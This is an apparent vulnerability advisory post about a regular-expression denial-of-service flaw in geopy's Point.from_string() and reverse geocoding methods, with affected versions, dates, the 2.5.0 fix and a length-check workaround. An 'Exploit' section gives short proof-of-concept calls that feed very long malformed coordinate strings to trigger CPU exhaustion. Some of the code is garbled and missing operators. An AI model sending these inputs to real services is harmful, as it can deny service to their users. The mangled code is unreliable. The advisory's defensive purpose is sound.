Listen to this Post
CVE ID: Not provided
geopy.Point and Point.from_string() are affected by a regular-expression denial-of-service condition.
The issue is Moderate severity in the GitHub Advisory Database.
The vulnerable path parses long, malformed coordinate strings.
Inefficient regular-expression behavior causes excessive CPU consumption.
The numeric Point constructor is not affected.
Geocoders’ reverse methods are affected when called with string inputs.
These methods exercise the vulnerable parsing path.
Applications are affected when attacker-controlled strings reach these APIs.
A missing or inappropriate length limit increases exposure.
Repeated requests may exhaust CPU resources.
This can cause denial of service.
The advisory was published on Jul 12, 2026.
The National Vulnerability Database published it on Oct 1, 2026.
The GitHub Advisory Database published it on Oct 2, 2026.
It was reviewed on Oct 2, 2026.
It was last updated on Oct 2, 2026.
The package is geopy/geopy.
The affected class is geopy.Point.
The affected factory method is Point.from_string().
The parsing regex can enter catastrophic backtracking.
Long strings amplify backtracking cost.
Malformed coordinate strings are the primary trigger.
A string over 256 characters should be rejected before parsing.
geopy 2.5.0 fixes the issue by enforcing that limit.
The fix rejects overly long coordinate strings before parsing.
A workaround is limiting coordinate strings to 256 characters.
Another workaround is avoiding attacker-controlled strings in geopy.
Upgrade to geopy 2.5.0 or later for the official fix.
DailyCVE Form:
Platform: geopy
Version: prior to 2.5.0
Vulnerability: ReDoS
Severity: Moderate
date: Jul 12 2026
Prediction: 2026-10-02 fixed
(end of form)
What Undercode Say:
Analytics:
pip show geopy
pip install "geopy<2.5.0"
python - <<'PY' from geopy.point import Point value = "0," 100000 + "x" print(len(value)) Point.from_string(value) PY
pip install "geopy>=2.5.0"
python - <<'PY' from geopy.point import Point value = "1,2" print(Point.from_string(value)) PY
Exploit: (Educational Purposes!)
from geopy.point import Point payload = "1," 100000 + "x" Point.from_string(payload)
from geopy.geocoders import Nominatim
geolocator = Nominatim(user_agent="test")
geolocator.reverse("0," 100000 + "x")
Protection: from this CVE
pip install "geopy>=2.5.0"
from geopy.point import Point
def safe_from_string(value: str):
if len(value) > 256:
raise ValueError("coordinate string too long")
return Point.from_string(value)
value = value[:256]
if len(value) <= 256: Point.from_string(value)
Impact:
CPU exhaustion
Denial of service
Reverse methods affected
Numeric constructor unaffected
Attacker-controlled strings affected
Repeated requests amplify
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
